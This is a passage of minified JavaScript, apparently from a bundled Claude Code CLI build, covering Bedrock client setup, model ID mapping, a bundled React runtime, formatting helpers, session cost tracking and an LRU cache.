A.find((q)=>q.includes(K))??null}async function _H4(){let A=J1A(),K=P1(process.env.CLAUDE_CODE_SKIP_BEDROCK_AUTH),q={region:A,...process.env.ANTHROPIC_BEDROCK_BASE_URL&&{endpoint:process.env.ANTHROPIC_BEDROCK_BASE_URL},...y46(),...K&&{requestHandler:new S46.NodeHttpHandler,httpAuthSchemes:[{schemeId:"smithy.api#noAuth",identityProvider:()=>async()=>({}),signer:new I46.NoAuthSigner}],httpAuthSchemeProvider:()=>[{schemeId:"smithy.api#noAuth"}]}};if(!K&&!process.env.AWS_BEARER_TOKEN_BEDROCK){let Y=await t8A();if(Y)q.credentials={accessKeyId:Y.accessKeyId,secretAccessKey:Y.secretAccessKey,sessionToken:Y.sessionToken}}return new o0A.BedrockClient(q)}async function GH4(){let A=J1A(),K=P1(process.env.CLAUDE_CODE_SKIP_BEDROCK_AUTH),q={region:A,...process.env.ANTHROPIC_BEDROCK_BASE_URL&&{endpoint:process.env.ANTHROPIC_BEDROCK_BASE_URL},...y46(),...K&&{requestHandler:new S46.NodeHttpHandler,httpAuthSchemes:[{schemeId:"smithy.api#noAuth",identityProvider:()=>async()=>({}),signer:new I46.NoAuthSigner}],httpAuthSchemeProvider:()=>[{schemeId:"smithy.api#noAuth"}]}};if(!K&&!process.env.AWS_BEARER_TOKEN_BEDROCK){let Y=await t8A();if(Y)q.credentials={accessKeyId:Y.accessKeyId,secretAccessKey:Y.secretAccessKey,sessionToken:Y.sessionToken}}return new XH4.BedrockRuntimeClient(q)}function h46(A){return A.startsWith("anthropic.")}function b46(A){for(let K of dr3)if(A.startsWith(`${K}.anthropic.`))return K;return}function ZH4(A,K){let q=b46(A);if(q)return A.replace(`${q}.`,`${K}.`);if(h46(A))return`${K}.${A}`;return A}var o0A,XH4,I46,S46,$H4,jq1,dr3;var zyA=k(()=>{p7();x4();l6();C1();TQ();o0A=o(q14(),1),XH4=o(S71(),1),I46=o(Gz(),1),S46=o(zT(),1),$H4=z6(async function(){let A=await _H4(),K=[],q;try{do{let Y=new o0A.ListInferenceProfilesCommand({...q&&{nextToken:q},typeEquals:"SYSTEM_DEFINED"}),z=await A.send(Y);if(z.inferenceProfileSummaries)K.push(...z.inferenceProfileSummaries);q=z.nextToken}while(q);return K.filter((Y)=>Y.inferenceProfileId?.includes("anthropic")).map((Y)=>Y.inferenceProfileId).filter(Boolean)}catch(Y){throw KA(Y),Y}});jq1=z6(async function(A){try{let K=await _H4(),q=new o0A.GetInferenceProfileCommand({inferenceProfileIdentifier:A}),Y=await K.send(q);if(!Y.models||Y.models.length===0)return null;let z=Y.models[0];if(!z?.modelArn)return null;let w=z.modelArn.lastIndexOf("/");return w>=0?z.modelArn.substring(w+1):z.modelArn}catch(K){return KA(K),null}});dr3=["us","eu","apac","global"]});function vx(A){let K=[],q=!1;async function Y(){if(q)return;if(K.length===0)return;q=!0;while(K.length>0){let{args:z,resolve:w,reject:H,context:J}=K.shift();try{let O=await A.apply(J,z);w(O)}catch(O){H(O)}}if(q=!1,K.length>0)Y()}return function(...z){return new Promise((w,H)=>{K.push({args:z,resolve:w,reject:H,context:this}),Y()})}}function wyA(A){return{haiku35:wCA[A],haiku45:HCA[A],sonnet35:zCA[A],sonnet37:YCA[A],sonnet40:c6A[A],sonnet45:pc1[A],opus40:JCA[A],opus41:OCA[A],opus45:l6A[A]}}async function cr3(){let A;try{A=await $H4()}catch($){return KA($),wyA("bedrock")}if(!A?.length)return wyA("bedrock");let K=Tx(A,"claude-3-5-haiku-20241022"),q=Tx(A,"claude-haiku-4-5-20251001"),Y=Tx(A,"claude-3-5-sonnet-20241022"),z=Tx(A,"claude-3-7-sonnet-20250219"),w=Tx(A,"claude-sonnet-4-20250514"),H=Tx(A,"claude-sonnet-4-5-20250929"),J=Tx(A,"claude-opus-4-20250514"),O=Tx(A,"claude-opus-4-1-20250805"),X=Tx(A,"claude-opus-4-5-20251101");return{haiku35:K||wCA.bedrock,haiku45:q||HCA.bedrock,sonnet35:Y||zCA.bedrock,sonnet37:z||YCA.bedrock,sonnet40:w||c6A.bedrock,sonnet45:H||pc1.bedrock,opus40:J||JCA.bedrock,opus41:O||OCA.bedrock,opus45:X||l6A.bedrock}}function lr3(){if(INA()!==null)return;if(c7()!=="bedrock"){bnA(wyA(c7()));return}WH4()}function XO(){let A=INA();if(A===null)return lr3(),wyA(c7());return A}async function DH4(){if(INA()!==null)return;if(c7()!=="bedrock"){bnA(wyA(c7()));return}await WH4()}var WH4;var Mq1=k(()=>{q6();C1();zyA();rJA();IH();WH4=vx(async()=>{if(INA()!==null)return;try{let A=await cr3();bnA(A)}catch(A){KA(A)}})});var $A=v((Oo3)=>{var B46=Symbol.for("react.transitional.element"),ir3=Symbol.for("react.portal"),nr3=Symbol.for("react.fragment"),rr3=Symbol.for("react.strict_mode"),or3=Symbol.for("react.profiler"),ar3=Symbol.for("react.consumer"),sr3=Symbol.for("react.context"),tr3=Symbol.for("react.forward_ref"),er3=Symbol.for("react.suspense"),Ao3=Symbol.for("react.memo"),fH4=Symbol.for("react.lazy"),Ko3=Symbol.for("react.activity"),jH4=Symbol.iterator;function qo3(A){if(A===null||typeof A!=="object")return null;return A=jH4&&A[jH4]||A["@@iterator"],typeof A==="function"?A:null}var NH4={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},TH4=Object.assign,vH4={};function s0A(A,K,q){this.props=A,this.context=K,this.refs=vH4,this.updater=q||NH4}s0A.prototype.isReactComponent={};s0A.prototype.setState=function(A,K){if(typeof A!=="object"&&typeof A!=="function"&&A!=null)throw Error("takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,A,K,"setState")};s0A.prototype.forceUpdate=function(A){this.updater.enqueueForceUpdate(this,A,"forceUpdate")};function EH4(){}EH4.prototype=s0A.prototype;function m46(A,K,q){this.props=A,this.context=K,this.refs=vH4,this.updater=q||NH4}var g46=m46.prototype=new EH4;g46.constructor=m46;TH4(g46,s0A.prototype);g46.isPureReactComponent=!0;var MH4=Array.isArray;function u46(){}var xH={H:null,A:null,T:null,S:null},kH4=Object.prototype.hasOwnProperty;function F46(A,K,q){var Y=q.ref;return{$$typeof:B46,type:A,key:K,ref:Y!==void 0?Y:null,props:q}}function Yo3(A,K){return F46(A.type,K,A.props)}function Q46(A){return typeof A==="object"&&A!==null&&A.$$typeof===B46}function zo3(A){var K={"=":"=0",":":"=2"};return"$"+A.replace(/[=:]/g,function(q){return K[q]})}var PH4=/\/+/g;function x46(A,K){return typeof A==="object"&&A!==null&&A.key!=null?zo3(""+A.key):K.toString(36)}function wo3(A){switch(A.status){case"fulfilled":return A.value;case"rejected":throw A.reason;default:switch(typeof A.status==="string"?A.then(u46,u46):(A.status="pending",A.then(function(K){A.status==="pending"&&(A.status="fulfilled",A.value=K)},function(K){A.status==="pending"&&(A.status="rejected",A.reason=K)})),A.status){case"fulfilled":return A.value;case"rejected":throw A.reason}}throw A}function a0A(A,K,q,Y,z){var w=typeof A;if(w==="undefined"||w==="boolean")A=null;var H=!1;if(A===null)H=!0;else switch(w){case"bigint":case"string":case"number":H=!0;break;case"object":switch(A.$$typeof){case B46:case ir3:H=!0;break;case fH4:return H=A._init,a0A(H(A._payload),K,q,Y,z)}}if(H)return z=z(A),H=Y===""?"."+x46(A,0):Y,MH4(z)?(q="",H!=null&&(q=H.replace(PH4,"$&/")+"/"),a0A(z,K,q,"",function(X){return X})):z!=null&&(Q46(z)&&(z=Yo3(z,q+(z.key==null||A&&A.key===z.key?"":(""+z.key).replace(PH4,"$&/")+"/")+H)),K.push(z)),1;H=0;var J=Y===""?".":Y+":";if(MH4(A))for(var O=0;O<A.length;O++)Y=A[O],w=J+x46(Y,O),H+=a0A(Y,K,q,w,z);else if(O=qo3(A),typeof O==="function")for(A=O.call(A),O=0;!(Y=A.next()).done;)Y=Y.value,w=J+x46(Y,O++),H+=a0A(Y,K,q,w,z);else if(w==="object"){if(typeof A.then==="function")return a0A(wo3(A),K,q,Y,z);throw K=String(A),Error("Objects are not valid as a React child (found: "+(K==="[object Object]"?"object with keys {"+Object.keys(A).join(", ")+"}":K)+"). If you meant to render a collection of children, use an array instead.")}return H}function Pq1(A,K,q){if(A==null)return A;var Y=[],z=0;return a0A(A,Y,"","",function(w){return K.call(q,w,z++)}),Y}function Ho3(A){if(A._status===-1){var K=A._result;K=K(),K.then(function(q){if(A._status===0||A._status===-1)A._status=1,A._result=q},function(q){if(A._status===0||A._status===-1)A._status=2,A._result=q}),A._status===-1&&(A._status=0,A._result=K)}if(A._status===1)return A._result.default;throw A._result}var VH4=typeof reportError==="function"?reportError:function(A){if(typeof window==="object"&&typeof window.ErrorEvent==="function"){var K=new window.ErrorEvent("error",{bubbles:!0,cancelable:!0,message:typeof A==="object"&&A!==null&&typeof A.message==="string"?String(A.message):String(A),error:A});if(!window.dispatchEvent(K))return}else if(typeof process==="object"&&typeof process.emit==="function"){process.emit("uncaughtException",A);return}console.error(A)},Jo3={map:Pq1,forEach:function(A,K,q){Pq1(A,function(){K.apply(this,arguments)},q)},count:function(A){var K=0;return Pq1(A,function(){K++}),K},toArray:function(A){return Pq1(A,function(K){return K})||[]},only:function(A){if(!Q46(A))throw Error("React.Children.only expected to receive a single React element child.");return A}};Oo3.Activity=Ko3;Oo3.Children=Jo3;Oo3.Component=s0A;Oo3.Fragment=nr3;Oo3.Profiler=or3;Oo3.PureComponent=m46;Oo3.StrictMode=rr3;Oo3.Suspense=er3;Oo3.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE=xH;Oo3.__COMPILER_RUNTIME={__proto__:null,c:function(A){return xH.H.useMemoCache(A)}};Oo3.cache=function(A){return function(){return A.apply(null,arguments)}};Oo3.cacheSignal=function(){return null};Oo3.cloneElement=function(A,K,q){if(A===null||A===void 0)throw Error("The argument must be a React element, but you passed "+A+".");var Y=TH4({},A.props),z=A.key;if(K!=null)for(w in K.key!==void 0&&(z=""+K.key),K)!kH4.call(K,w)||w==="key"||w==="__self"||w==="__source"||w==="ref"&&K.ref===void 0||(Y[w]=K[w]);var w=arguments.length-2;if(w===1)Y.children=q;else if(1<w){for(var H=Array(w),J=0;J<w;J++)H[J]=arguments[J+2];Y.children=H}return F46(A.type,z,Y)};Oo3.createContext=function(A){return A={$$typeof:sr3,_currentValue:A,_currentValue2:A,_threadCount:0,Provider:null,Consumer:null},A.Provider=A,A.Consumer={$$typeof:ar3,_context:A},A};Oo3.createElement=function(A,K,q){var Y,z={},w=null;if(K!=null)for(Y in K.key!==void 0&&(w=""+K.key),K)kH4.call(K,Y)&&Y!=="key"&&Y!=="__self"&&Y!=="__source"&&(z[Y]=K[Y]);var H=arguments.length-2;if(H===1)z.children=q;else if(1<H){for(var J=Array(H),O=0;O<H;O++)J[O]=arguments[O+2];z.children=J}if(A&&A.defaultProps)for(Y in H=A.defaultProps,H)z[Y]===void 0&&(z[Y]=H[Y]);return F46(A,w,z)};Oo3.createRef=function(){return{current:null}};Oo3.forwardRef=function(A){return{$$typeof:tr3,render:A}};Oo3.isValidElement=Q46;Oo3.lazy=function(A){return{$$typeof:fH4,_payload:{_status:-1,_result:A},_init:Ho3}};Oo3.memo=function(A,K){return{$$typeof:Ao3,type:A,compare:K===void 0?null:K}};Oo3.startTransition=function(A){var K=xH.T,q={};xH.T=q;try{var Y=A(),z=xH.S;z!==null&&z(q,Y),typeof Y==="object"&&Y!==null&&typeof Y.then==="function"&&Y.then(u46,VH4)}catch(w){VH4(w)}finally{K!==null&&q.types!==null&&(K.types=q.types),xH.T=K}};Oo3.unstable_useCacheRefresh=function(){return xH.H.useCacheRefresh()};Oo3.use=function(A){return xH.H.use(A)};Oo3.useActionState=function(A,K,q){return xH.H.useActionState(A,K,q)};Oo3.useCallback=function(A,K){return xH.H.useCallback(A,K)};Oo3.useContext=function(A){return xH.H.useContext(A)};Oo3.useDebugValue=function(){};Oo3.useDeferredValue=function(A,K){return xH.H.useDeferredValue(A,K)};Oo3.useEffect=function(A,K){return xH.H.useEffect(A,K)};Oo3.useEffectEvent=function(A){return xH.H.useEffectEvent(A)};Oo3.useId=function(){return xH.H.useId()};Oo3.useImperativeHandle=function(A,K,q){return xH.H.useImperativeHandle(A,K,q)};Oo3.useInsertionEffect=function(A,K){return xH.H.useInsertionEffect(A,K)};Oo3.useLayoutEffect=function(A,K){return xH.H.useLayoutEffect(A,K)};Oo3.useMemo=function(A,K){return xH.H.useMemo(A,K)};Oo3.useOptimistic=function(A,K){return xH.H.useOptimistic(A,K)};Oo3.useReducer=function(A,K,q){return xH.H.useReducer(A,K,q)};Oo3.useRef=function(A){return xH.H.useRef(A)};Oo3.useState=function(A){return xH.H.useState(A)};Oo3.useSyncExternalStore=function(A,K,q){return xH.H.useSyncExternalStore(A,K,q)};Oo3.useTransition=function(){return xH.H.useTransition()};Oo3.version="19.2.0"});function CH4(A,K){if(A.length<=K)return A;if(K<=0)return"…";if(K<5)return A.slice(0,K-1)+"…";let q=A.lastIndexOf("/"),Y=q>=0?A.slice(q):A,z=q>=0?A.slice(0,q):"";if(Y.length>=K-1)return"…"+A.slice(-(K-1));let w=K-1-Y.length;if(w<=0)return"…"+Y.slice(-(K-1));return z.slice(0,w)+"…"+Y}function a9(A,K,q=!1){let Y=A;if(q){let z=A.indexOf(` `);if(z!==-1){if(Y=A.substring(0,z),Y.length+1>K)return`${Y.substring(0,K-1)}…`;return`${Y}…`}}if(Y.length<=K)return Y;return`${Y.substring(0,K-1)}…`}function $O(A,K){if(A<60000){if(A===0)return"0s";if(A<1)return`${(A/1000).toFixed(1)}s`;return`${Math.round(A/1000).toString()}s`}let q=Math.floor(A/86400000),Y=Math.floor(A%86400000/3600000),z=Math.floor(A%3600000/60000),w=Math.round(A%60000/1000);if(w===60)w=0,z++;if(z===60)z=0,Y++;if(Y===24)Y=0,q++;let H=K?.hideTrailingZeros;if(q>0){if(H&&Y===0&&z===0)return`${q}d`;if(H&&z===0)return`${q}d ${Y}h`;return`${q}d ${Y}h ${z}m`}if(Y>0){if(H&&z===0&&w===0)return`${Y}h`;if(H&&w===0)return`${Y}h ${z}m`;return`${Y}h ${z}m ${w}s`}if(z>0){if(H&&w===0)return`${z}m`;return`${z}m ${w}s`}return`${w}s`}function g5(A){let K=A>=1000;return new Intl.NumberFormat("en",{notation:"compact",minimumFractionDigits:K?1:0,maximumFractionDigits:1}).format(A).toLowerCase()}function Vq1(A,K={}){let{style:q="narrow",numeric:Y="always",now:z=new Date}=K,w=A.getTime()-z.getTime(),H=Math.trunc(w/1000),J=[{unit:"year",seconds:31536000,shortUnit:"y"},{unit:"month",seconds:2592000,shortUnit:"mo"},{unit:"week",seconds:604800,shortUnit:"w"},{unit:"day",seconds:86400,shortUnit:"d"},{unit:"hour",seconds:3600,shortUnit:"h"},{unit:"minute",seconds:60,shortUnit:"m"},{unit:"second",seconds:1,shortUnit:"s"}];for(let{unit:X,seconds:$,shortUnit:_}of J)if(Math.abs(H)>=$){let G=Math.trunc(H/$);if(q==="narrow")return H<0?`${Math.abs(G)}${_} ago`:`in ${G}${_}`;return new Intl.RelativeTimeFormat("en",{style:"long",numeric:Y}).format(G,X)}if(q==="narrow")return H<=0?"0s ago":"in 0s";return new Intl.RelativeTimeFormat("en",{style:q,numeric:Y}).format(0,"second")}function e8A(A,K={}){let{now:q=new Date,...Y}=K;if(A>q)return Vq1(A,{...Y,now:q});return Vq1(A,{...Y,numeric:"always",now:q})}function HyA(A){let K=[e8A(A.modified,{style:"short"}),`${A.messageCount} messages`,A.gitBranch||"-"];if(A.tag)K.push(`#${A.tag}`);return K.join(" · ")}function t0A(A,K=!1,q=!0){if(!A)return;let Y=new Date(A*1000),z=new Date,w=Y.getMinutes();if((Y.getTime()-z.getTime())/3600000>24){let X={month:"short",day:"numeric",hour:q?"numeric":void 0,minute:!q||w===0?void 0:"2-digit",hour12:q?!0:void 0};if(Y.getFullYear()!==z.getFullYear())X.year="numeric";return Y.toLocaleString("en-US",X).replace(/ ([AP]M)/i,(_,G)=>G.toLowerCase())+(K?` (${Intl.DateTimeFormat().resolvedOptions().timeZone})`:"")}let J=Y.toLocaleTimeString("en-US",{hour:"numeric",minute:w===0?void 0:"2-digit",hour12:!0}),O=Intl.DateTimeFormat().resolvedOptions().timeZone;return J.replace(/ ([AP]M)/i,(X,$)=>$.toLowerCase())+(K?` (${O})`:"")}function LH4(A,K=!1,q=!0){let Y=new Date(A);return`${t0A(Math.floor(Y.getTime()/1000),K,q)}`}function U46(A){let K=Z2();if(K.lastSessionId!==A)return;let q;if(K.lastModelUsage)q=Object.fromEntries(Object.entries(K.lastModelUsage).map(([Y,z])=>[Y,{...z,contextWindow:aW(Y,nP()),maxOutputTokens:qzA(Y)}]));return{totalCostUSD:K.lastCost??0,totalAPIDuration:K.lastAPIDuration??0,totalAPIDurationWithoutRetries:K.lastAPIDurationWithoutRetries??0,totalToolDuration:K.lastToolDuration??0,totalLinesAdded:K.lastLinesAdded??0,totalLinesRemoved:K.lastLinesRemoved??0,lastDuration:K.lastDuration,modelUsage:q}}function JyA(A){let K=U46(A);if(!K)return!1;return hnA(K),!0}function p46(A){Pz((K)=>({...K,lastCost:ZZ(),lastAPIDuration:ME(),lastAPIDurationWithoutRetries:sn6(),lastToolDuration:tn6(),lastDuration:LNA(),lastLinesAdded:YzA(),lastLinesRemoved:zzA(),lastTotalInputTokens:RnA(),lastTotalOutputTokens:ynA(),lastTotalCacheCreationInputTokens:Ar6(),lastTotalCacheReadInputTokens:en6(),lastTotalWebSearchRequests:Kr6(),lastFpsAverage:A?.averageFps,lastFpsLow1Pct:A?.low1PctFps,lastModelUsage:Object.fromEntries(Object.entries(Fh()).map(([q,Y])=>[q,{inputTokens:Y.inputTokens,outputTokens:Y.outputTokens,cacheReadInputTokens:Y.cacheReadInputTokens,cacheCreationInputTokens:Y.cacheCreationInputTokens,webSearchRequests:Y.webSearchRequests,costUSD:Y.costUSD}])),lastSessionId:d1()}))}function OyA(A,K=4){return`$${A>0.5?to3(A,100).toFixed(2):A.toFixed(K)}`}function so3(){let A=Fh();if(Object.keys(A).length===0)return"Usage: 0 input, 0 output, 0 cache read, 0 cache write";let K={};for(let[Y,z]of Object.entries(A)){let w=wM(Y);if(!K[w])K[w]={inputTokens:0,outputTokens:0,cacheReadInputTokens:0,cacheCreationInputTokens:0,webSearchRequests:0,costUSD:0,contextWindow:0,maxOutputTokens:0};let H=K[w];H.inputTokens+=z.inputTokens,H.outputTokens+=z.outputTokens,H.cacheReadInputTokens+=z.cacheReadInputTokens,H.cacheCreationInputTokens+=z.cacheCreationInputTokens,H.webSearchRequests+=z.webSearchRequests,H.costUSD+=z.costUSD}let q="Usage by model:";for(let[Y,z]of Object.entries(K)){let w=` ${g5(z.inputTokens)} input, ${g5(z.outputTokens)} output, ${g5(z.cacheReadInputTokens)} cache read, ${g5(z.cacheCreationInputTokens)} cache write`+(z.webSearchRequests>0?`, ${g5(z.webSearchRequests)} web search`:"")+` (${OyA(z.costUSD)})`;q+=` `+`${Y}:`.padStart(21)+w}return q}function d46(){let A=OyA(ZZ())+(qr6()?" (costs may be inaccurate due to usage of unknown models)":""),K=so3();return O1.dim(`Total cost: ${A} Total duration (API): ${$O(ME())} Total duration (wall): ${$O(LNA())} Total code changes: ${YzA()} ${YzA()===1?"line":"lines"} added, ${zzA()} ${zzA()===1?"line":"lines"} removed ${K}`)}function yH4(A){RH4.useEffect(()=>{let K=()=>{if(Nq1())process.stdout.write(` `+d46()+` `);p46(A?.())};return process.on("exit",K),()=>{process.off("exit",K)}},[])}function to3(A,K){return Math.round(A*K)/K}function fq1(A,K,q){an6(A,K,q),Or6()?.add(A,{model:q}),SNA()?.add(K.input_tokens,{type:"input",model:q}),SNA()?.add(K.output_tokens,{type:"output",model:q}),SNA()?.add(K.cache_read_input_tokens??0,{type:"cacheRead",model:q}),SNA()?.add(K.cache_creation_input_tokens??0,{type:"cacheCreation",model:q})}var RH4;var Ck=k(()=>{u5();K7();i6();q6();q6();q6();iP();q6();RH4=o($A(),1)});function eo3(A,K){return K.input_tokens/1e6*A.inputTokens+K.output_tokens/1e6*A.outputTokens+(K.cache_read_input_tokens??0)/1e6*A.promptCacheReadTokens+(K.cache_creation_input_tokens??0)/1e6*A.promptCacheWriteTokens+(K.server_tool_use?.web_search_requests??0)*A.webSearchRequests}function Aa3(A){return A.input_tokens+(A.cache_read_input_tokens??0)+(A.cache_creation_input_tokens??0)}function Ka3(A,K){let q=wM(A),Y=IH4[q];if(Y===A4A&&Aa3(K)>200000)return c46;if(!Y)return n("tengu_unknown_model_cost",{model:A,shortName:q}),_R1(),IH4[wM(hH4)];return Y}function Eq1(A,K){let q=Ka3(A,K);return eo3(q,K)}function SH4(A){if(Number.isInteger(A))return`$${A}`;return`$${A.toFixed(2)}`}function cn(A){return`${SH4(A.inputTokens)}/${SH4(A.outputTokens)} per Mtok`}var A4A,Tq1,vq1,c46,l46,i46,IH4;var kq1=k(()=>{Ck();l1();rJA();K7();A4A={inputTokens:3,outputTokens:15,promptCacheWriteTokens:3.75,promptCacheReadTokens:0.3,webSearchRequests:0.01},Tq1={inputTokens:15,outputTokens:75,promptCacheWriteTokens:18.75,promptCacheReadTokens:1.5,webSearchRequests:0.01},vq1={inputTokens:5,outputTokens:25,promptCacheWriteTokens:6.25,promptCacheReadTokens:0.5,webSearchRequests:0.01},c46={inputTokens:6,outputTokens:22.5,promptCacheWriteTokens:7.5,promptCacheReadTokens:0.6,webSearchRequests:0.01},l46={inputTokens:0.8,outputTokens:4,promptCacheWriteTokens:1,promptCacheReadTokens:0.08,webSearchRequests:0.01},i46={inputTokens:1,outputTokens:5,promptCacheWriteTokens:1.25,promptCacheReadTokens:0.1,webSearchRequests:0.01},IH4={[wM(wCA.firstParty)]:l46,[wM(HCA.firstParty)]:i46,[wM(zCA.firstParty)]:A4A,[wM(YCA.firstParty)]:A4A,[wM(c6A.firstParty)]:A4A,[wM(JCA.firstParty)]:Tq1,[wM(OCA.firstParty)]:Tq1,[wM(l6A.firstParty)]:vq1,...{}}});function ln(){let A=process.env.CLAUDE_AGENT_SDK_VERSION?`, agent-sdk/${process.env.CLAUDE_AGENT_SDK_VERSION}`:"";return`claude-cli/${{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION} (external, ${process.env.CLAUDE_CODE_ENTRYPOINT}${A})`}function nn(){return`claude-code/${{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION}`}function uH(){return`claude-code/${{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION}`}function BH(){if(Z4()){let K=LK();if(!K?.accessToken)return{headers:{},error:"No OAuth token available"};return{headers:{Authorization:`Bearer ${K.accessToken}`,"anthropic-beta":LE}}}let A=Ex();if(!A)return{headers:{},error:"No API key available"};return{headers:{"x-api-key":A}}}var JG=k(()=>{x4();uz()});class AXA{heap;length;static#A=!1;static create(A){let K=BH4(A);if(!K)return[];AXA.#A=!0;let q=new AXA(A,K);return AXA.#A=!1,q}constructor(A,K){if(!AXA.#A)throw TypeError("instantiate Stack using Stack.create(n)");this.heap=new K(A),this.length=0}push(A){this.heap[this.length++]=A}pop(){return this.heap[--this.length]}}var e0A,xH4,n46,uH4=(A,K,q,Y)=>{typeof n46.emitWarning==="function"?n46.emitWarning(A,K,q,Y):console.error(`[${q}] ${K}: ${A}`)},Cq1,bH4,qa3=(A)=>!xH4.has(A),r4w,rn=(A)=>A&&A===Math.floor(A)&&A>0&&isFinite(A),BH4=(A)=>!rn(A)?null:A<=Math.pow(2,8)?Uint8Array:A<=Math.pow(2,16)?Uint16Array:A<=Math.pow(2,32)?Uint32Array:A<=Number.MAX_SAFE_INTEGER?XyA:null,XyA,Ty;var $yA=k(()=>{e0A=typeof performance==="object"&&performance&&typeof performance.now==="function"?performance:Date,xH4=new Set,n46=typeof process==="object"&&!!process?process:{},Cq1=globalThis.AbortController,bH4=globalThis.AbortSignal;if(typeof Cq1>"u"){bH4=class{onabort;_onabort=[];reason;aborted=!1;addEventListener(Y,z){this._onabort.push(z)}},Cq1=class{constructor(){K()}signal=new bH4;abort(Y){if(this.signal.aborted)return;this.signal.reason=Y,this.signal.aborted=!0;for(let z of this.signal._onabort)z(Y);this.signal.onabort?.(Y)}};let A=n46.env?.LRU_CACHE_IGNORE_AC_WARNING!=="1",K=()=>{if(!A)return;A=!1,uH4("AbortController is not defined. If using lru-cache in node 14, load an AbortController polyfill from the `node-abort-controller` package. A minimal polyfill is provided for use by LRUCache.fetch(), but it should not be relied upon in other contexts (eg, passing it to other APIs that use AbortController/AbortSignal might have undesirable effects). You may disable this with LRU_CACHE_IGNORE_AC_WARNING=1 in the env.","NO_ABORT_CONTROLLER","ENOTSUP",K)}}r4w=Symbol("type");XyA=class XyA extends Array{constructor(A){super(A);this.fill(0)}};Ty=class Ty{#A;#K;#q;#z;#Y;#J;ttl;ttlResolution;ttlAutopurge;updateAgeOnGet;updateAgeOnHas;allowStale;noDisposeOnSet;noUpdateTTL;maxEntrySize;sizeCalculation;noDeleteOnFetchRejection;noDeleteOnStaleGet;allowStaleOnFetchAbort;allowStaleOnFetchRejection;ignoreFetchAbort;#w;#X;#$;#O;#H;#G;#D;#j;#Z;#f;#W;#N;#V;#P;#T;#E;#M;static unsafeExposeInternals(A){return{starts:A.#V,ttls:A.#P,sizes:A.#N,keyMap:A.#$,keyList:A.#O,valList:A.#H,next:A.#G,prev:A.#D,get head(){return A.#j},get tail(){return A.#Z},free:A.#f,isBackgroundFetch:(K)=>A.#_(K),backgroundFetch:(K,q,Y,z)=>A.#x(K,q,Y,z),moveToTail:(K)=>A.#S(K),indexes:(K)=>A.#k(K),rindexes:(K)=>A.#C(K),isStale:(K)=>A.#v(K)}}get max(){return this.#A}get maxSize(){return this.#K}get calculatedSize(){return this.#X}get size(){return this.#w}get fetchMethod(){return this.#Y}get memoMethod(){return this.#J}get dispose(){return this.#q}get disposeAfter(){return this.#z}constructor(A){let{max:K=0,ttl:q,ttlResolution:Y=1,ttlAutopurge:z,updateAgeOnGet:w,updateAgeOnHas:H,allowStale:J,dispose:O,disposeAfter:X,noDisposeOnSet:$,noUpdateTTL:_,maxSize:G=0,maxEntrySize:Z=0,sizeCalculation:W,fetchMethod:D,memoMethod:j,noDeleteOnFetchRejection:M,noDeleteOnStaleGet:P,allowStaleOnFetchRejection:f,allowStaleOnFetchAbort:N,ignoreFetchAbort:T}=A;if(K!==0&&!rn(K))throw TypeError("max option must be a nonnegative integer");let C=K?BH4(K):Array;if(!C)throw Error("invalid max value: "+K);if(this.#A=K,this.#K=G,this.maxEntrySize=Z||this.#K,this.sizeCalculation=W,this.sizeCalculation){if(!this.#K&&!this.maxEntrySize)throw TypeError("cannot set sizeCalculation without setting maxSize or maxEntrySize");if(typeof this.sizeCalculation!=="function")throw TypeError("sizeCalculation set to non-function")}if(j!==void 0&&typeof j!=="function")throw TypeError("memoMethod must be a function if defined");if(this.#J=j,D!==void 0&&typeof D!=="function")throw TypeError("fetchMethod must be a function if specified");if(this.#Y=D,this.#E=!!D,this.#$=new Map,this.#O=Array(K).fill(void 0),this.#H=Array(K).fill(void 0),this.#G=new C(K),this.#D=new C(K),this.#j=0,this.#Z=0,this.#f=AXA.create(K),this.#w=0,this.#X=0,typeof O==="function")this.#q=O;if(typeof X==="function")this.#z=X,this.#W=[];else this.#z=void 0,this.#W=void 0;if(this.#T=!!this.#q,this.#M=!!this.#z,this.noDisposeOnSet=!!$,this.noUpdateTTL=!!_,this.noDeleteOnFetchRejection=!!M,this.allowStaleOnFetchRejection=!!f,this.allowStaleOnFetchAbort=!!N,this.ignoreFetchAbort=!!T,this.maxEntrySize!==0){if(this.#K!==0){if(!rn(this.#K))throw TypeError("maxSize must be a positive integer if specified")}if(!rn(this.maxEntrySize))throw TypeError("maxEntrySize must be a positive integer if specified");this.#U()}if(this.allowStale=!!J,this.noDeleteOnStaleGet=!!P,this.updateAgeOnGet=!!w,this.updateAgeOnHas=!!H,this.ttlResolution=rn(Y)||Y===0?Y:1,this.ttlAutopurge=!!z,this.ttl=q||0,this.ttl){if(!rn(this.ttl))throw TypeError("ttl must be a positive integer if specified");this.#u()}if(this.#A===0&&this.ttl===0&&this.#K===0)throw TypeError("At least one of max, maxSize, or ttl is required");if(!this.ttlAutopurge&&!this.#A&&!this.#K){if(qa3("LRU_CACHE_UNBOUNDED"))xH4.add("LRU_CACHE_UNBOUNDED"),uH4("TTL caching without ttlAutopurge, max, or maxSize can result in unbounded memory consumption.","UnboundedCacheWarning","LRU_CACHE_UNBOUNDED",Ty)}}getRemainingTTL(A){return this.#$.has(A)?1/0:0}#u(){let A=new XyA(this.#A),K=new XyA(this.#A);this.#P=A,this.#V=K,this.#B=(z,w,H=e0A.now())=>{if(K[z]=w!==0?H:0,A[z]=w,w!==0&&this.ttlAutopurge){let 